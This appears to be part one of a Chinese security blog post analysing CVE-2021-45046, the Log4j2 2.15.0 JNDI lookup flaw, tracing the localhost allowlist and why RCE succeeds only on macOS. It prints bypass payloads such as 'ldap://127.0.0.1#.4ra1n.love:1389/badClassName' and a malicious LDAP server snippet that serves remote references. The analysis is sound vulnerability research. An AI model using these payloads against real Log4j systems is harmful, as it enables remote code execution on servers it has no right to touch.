浅谈Log4j2之2.15.0版本RCE(一)

简介: 浅谈Log4j2之2.15.0版本RCE

介绍

CVE-2021-45046是Log4j2漏洞爆出后在修复版本中出现的拒绝服务漏洞

在该CVE发布2天后,官方将4ra1n加入了credit中,本以为这就结束了

第3天在官方安全 页面 发现该漏洞从DoS升级到RCE并提高到9分

(个人认为9分过高,虽然能RCE但限制条件过多,具体后续分析)


经过两天的分析和调试,我在Windows上复现失败,但在MacOS上确实可以成功

(由于家境贫寒买不起Mac所以拜托了天下大木头师傅协助,成功RCE)

adf4eccb647ee45434343f3c3f769a8f_640_wx_fmt=jpeg&wxfrom=5&wx_lazy=1&wx_co=1.jpg


首先说明一个很多人都在关心的问题:只要不开lookup就不存在漏洞

在2.15.0版本中,无论DoS还是RCE都需要开启lookup功能,如果没有特殊配置且不使用ThreadContext等功能的情况下,是不存在漏洞的。但为了进一步的安全最好升级到最新版(目前是2.17.0版本)


回顾核心方法,也是本文重点

public synchronized <T> T lookup(final String name) throws NamingException {
   try {
       URI uri = new URI(name);
       if (uri.getScheme() != null) {
           // 限制协议必须为LDAP/LDAPS/JAVA
           if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
               LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
               return null;
          }
           if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
               // 如果是LDAP或LDAPS情况限制Host为localhost
               if (!allowedHosts.contains(uri.getHost())) {
                   LOGGER.warn("Attempt to access ldap server not in allowed list");
                   return null;
              }
               // 尝试从LDAP Server获取相关的信息
               Attributes attributes = this.context.getAttributes(name);
               if (attributes != null) {
                   Map<String, Attribute> attributeMap = new HashMap<>();
                   NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
                   while (enumeration.hasMore()) {
                       Attribute attribute = enumeration.next();
                       attributeMap.put(attribute.getID(), attribute);
                  }
                   Attribute classNameAttr = attributeMap.get(CLASS_NAME);
                   if (attributeMap.get(SERIALIZED_DATA) != null) {
                       if (classNameAttr != null) {
                           String className = classNameAttr.get().toString();
                           // 如果获取到序列化数据则判断类名是否为八大基本类型
                           if (!allowedClasses.contains(className)) {
                               LOGGER.warn("Deserialization of {} is not allowed", className);
                               return null;
                          }
                      } else {
                           LOGGER.warn("No class name provided for {}", name);
                           return null;
                      }
                   // 不允许加载远程对象和远程工厂
                  } else if (attributeMap.get(REFERENCE_ADDRESS) != null
                              || attributeMap.get(OBJECT_FACTORY) != null) {
                       LOGGER.warn("Referenceable class is not allowed for {}", name);
                       return null;
                  }
              }
          }
      }
  } catch (URISyntaxException ex) {
       LOGGER.warn("Invalid JNDI URI - {}", name);
       return null;
  }
   // 绕过上述限制后才可以调用lookup
   return (T) this.context.lookup(name);
}

2.14.1版本RCE的LDAP Server 这样写,注释写了防御方式。简单分析可以看出,假设真的有手段能够绕过了localhost检测,在当前的LDAP Server中也无法继续加载远程对象

protected void sendResult(InMemoryInterceptedSearchResult result, Entry e) throws LDAPException {
   // className虽然不符合八大基本类型
   // 但不存在javaSerializedData属性
   // 所以不会进入if (attributeMap.get(SERIALIZED_DATA) != null)
   e.addAttribute("javaClassName", "test");
   String codeBaseStr = this.codebase.toString();
   int refPos = codeBaseStr.indexOf('#');
   if (refPos > 0) {
       codeBaseStr = codeBaseStr.substring(0, refPos);
  }
   e.addAttribute("javaCodeBase", codeBaseStr);
   e.addAttribute("objectClass", "javaNamingReference");
   // OBJECT_FACTORY验证限制了这一步无法RCE
   // 假设能够绕过localhost的检测无法处理这一步
   e.addAttribute("javaFactory", this.codebase.getRef());
   result.sendSearchEntry(e);
   result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

所以需要想出新的方式来触发,而不是继续利用javaFactory属性,这将在后文中写到


解析绕过

尝试一些URI的绕过:如何让URI.getHost获得到127.0.0.1

ldap://127.0.0.1:1389/badClassName这种方式获取到的一定是127.0.0.1。虽然可以绕过检测,但这里的URI放入LDAP中也只能解析到127.0.0.1,没有操作空间。于是想到,能否让URI.getHost合法(locaohost或127.0.0.1)但实际上LDAP Client可能会把输入解析到黑客搭建的LDAP Server的IP呢?

以下内容就是围绕这个思路展开:目标域名是4ra1n.love

参考orange大佬在Black Hat 2017分享的PPT

d578eb5bfa79e9d1c62c7d6e08245166_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

看到其中的authority的解释,想到能否用@符号做一些事情

URI uri = new URI("ldap://4ra1n.love@127.0.0.1:1389/badClassName");
System.out.println(uri.getHost());
// 打印:127.0.0.1

可绕过但不可能被解析到4ra1n.love域名


看到PPT中另一处

13e2cbcd833a46b2a97af8a7228398d1_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

编写对应的代码测试,发现#号也可以做一些事情

URI uri1 = new URI("ldap://127.0.0.1#@4ra1n.love:1389/badClassName");
System.out.println(uri1.getHost());
URI uri2 = new URI("ldap://127.0.0.1#4ra1n.love:1389/badClassName");
System.out.println(uri2.getHost());
URI uri3 = new URI("ldap://127.0.0.1#.4ra1n.love:1389/badClassName");
System.out.println(uri3.getHost());
// 都会打印:127.0.0.1


外国佬传出的POC如下,与我的猜测不谋而合

7b12b194e8dd44481ebcbe9404df2583_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


参考上方第三种Payload

ldap://127.0.0.1#.4ra1n.love:1389/badClassName


这里的Host为127.0.0.1#.4ra1n.love

如果为4ra1n.love域名开启泛域名解析,那么127.0.0.1#是否会被当成一个子域名,从而访问到真正的目标IP

泛域名解析就是:a.4ra1n.love和b.4ra1n.love以及xxxxx.4ra1n.love都会被解析到同一个IP,如果把xxxxx替换成127.0.0.1#且解析不报错,那么就拿到了真正的IP,然后配合特殊的LDAP Server即可RCE

(很多师傅失败都是因为通常情况下包含#号的URI会报错UnknownHostException,在MacOS及一些特殊情况下会成功)


LDAP分析

这一节的内容主要是分析:如何产生的UnknownHostException以及尝试解决

以上的Payload在Windows中的测试会报错,LDAP Client初始化时候出现相同的异常:UnknownHostException

尝试使用Wireshark抓包发现没有dns相关信息,也就是说这个异常是发请求之前报出的

c47a5e3cb9d6742c4848c4dd118e6d7c_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


从this.context.getAttributes(name)一路跟到LDAP Client初始化

LdapClient(String var1, int var2, String var3, int var4, int var5, OutputStream var6, PoolCallback var7) throws NamingException {
   // 跟入
   this.conn = new Connection(this, var1, var2, var3, var4, var5, var6);
   this.pcb = var7;
   this.pooled = var7 != null;
}


跟到最底层,发现只是一个普通的Socket方法:其中的var1和var2正是host和port

private Socket createSocket(String var1, int var2, String var3, int var4) throws Exception {
  ...
   if (var5 == null) {
       // socket
       var5 = new Socket(var1, var2);
  }
  ...
   return var5;
}


Socket源码

public Socket(String host, int port)
   throws UnknownHostException, IOException
{
   // 如果host不为空会执行new InetSocketAddress(host, port)
   this(host != null ? new InetSocketAddress(host, port) :
        new InetSocketAddress(InetAddress.getByName(null), port),
        (SocketAddress) null, true);
}


参考InetSocketAddress类构造方法,找到了抛出异常的根源

public InetSocketAddress(String hostname, int port) {
   checkHost(hostname);
   InetAddress addr = null;
   String host = null;
   try {
       // 根源
       addr = InetAddress.getByName(hostname);
  } catch(UnknownHostException e) {
       host = hostname;
  }
   holder = new InetSocketAddressHolder(host, addr, checkPort(port));
}


找到底层方法,那么可以尝试造一些Payload测试报错情况

// 正常通过域名解析到IP
System.out.println(InetAddress.getByName("4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1#.4ra1n.love"));
// 报错
System.out.println(InetAddress.getByName("127.0.0.1@4ra1n.love"));

继续从InetAddress.getByName跟下去,会到达一处native方法

public native InetAddress[]
   lookupAllHostAddr(String hostname) throws UnknownHostException;

由于Wireshark没有抓到DNS相关的包,在这一系列的流程也没有看到处理特殊符号的代码

而国外佬在有#号的情况下能够不报错,所以我猜测是这个native方法的原因,报错的底层是操作系统和JVM决定的

在官方安全页面写着只有在MacOS中才可以RCE,后来经过测试的确只能在MacOS中RCE

remote code execution has been demonstrated on macOS but no other tested environments.



相关实践学习
基于函数计算快速搭建Hexo博客系统
本场景介绍如何使用阿里云函数计算服务命令行工具快速搭建一个Hexo博客。
相关文章
|
8月前
|
消息中间件 安全 Dubbo
Log4j安全漏洞前车之鉴,呕心整理工作中常用开源组件避坑版本
Log4j安全漏洞前车之鉴,呕心整理工作中常用开源组件避坑版本
124 0
|
9月前
|
安全 Java 开发者
刚折腾完Log4J,又爆Spring RCE核弹级漏洞
继Log4J爆出安全漏洞之后,又在深夜,Spring的github上又更新了一条可能造成RCE(远程命令执行漏洞)的问题代码,随即在国内的安全圈炸开了锅。有安全专家建议升级到JDK 9以上,有些专家又建议回滚到JDK 7以下,一时间小伙伴们不知道该怎么办了。大家来看一段动画演示,怎么改都是“将军"。
83 1
|
10月前
|
消息中间件 弹性计算 数据可视化
SpringBoot 整合 Elastic Stack 最新版本(7.14.1)分布式日志解决方案,开源微服务全栈项目【有来商城】的日志落地实践
SpringBoot 整合 Elastic Stack 最新版本(7.14.1)分布式日志解决方案,开源微服务全栈项目【有来商城】的日志落地实践
|
4月前
|
存储 监控 Serverless
在处理阿里云函数计算3.0版本的函数时,如果遇到报错但没有日志信息的情况
在处理阿里云函数计算3.0版本的函数时,如果遇到报错但没有日志信息的情况【1月更文挑战第23天】【1月更文挑战第114篇】
65 5
|
8月前
|
IDE Linux 开发工具
IntelliJ IDEA 2023.2.1 修复版本日志
IntelliJ IDEA 2023.2.1 修复版本日志
|
12月前
|
存储 关系型数据库 MySQL
|
Linux CDN
利用工具合并CDN日志操作——Linux版本
利用工具合并CDN日志操作——Linux版本自制脑图
132 0
利用工具合并CDN日志操作——Linux版本
|
CDN Windows
利用工具合并CDN日志操作——Windows版本
利用工具合并CDN日志操作——Windows版本自制脑图
113 0
利用工具合并CDN日志操作——Windows版本
|
域名解析 安全 Java
浅谈Log4j2之2.15.0版本RCE(二)
浅谈Log4j2之2.15.0版本RCE
128 0
浅谈Log4j2之2.15.0版本RCE(二)
|
5天前
|
C++
JNI Log 日志输出
JNI Log 日志输出
13 1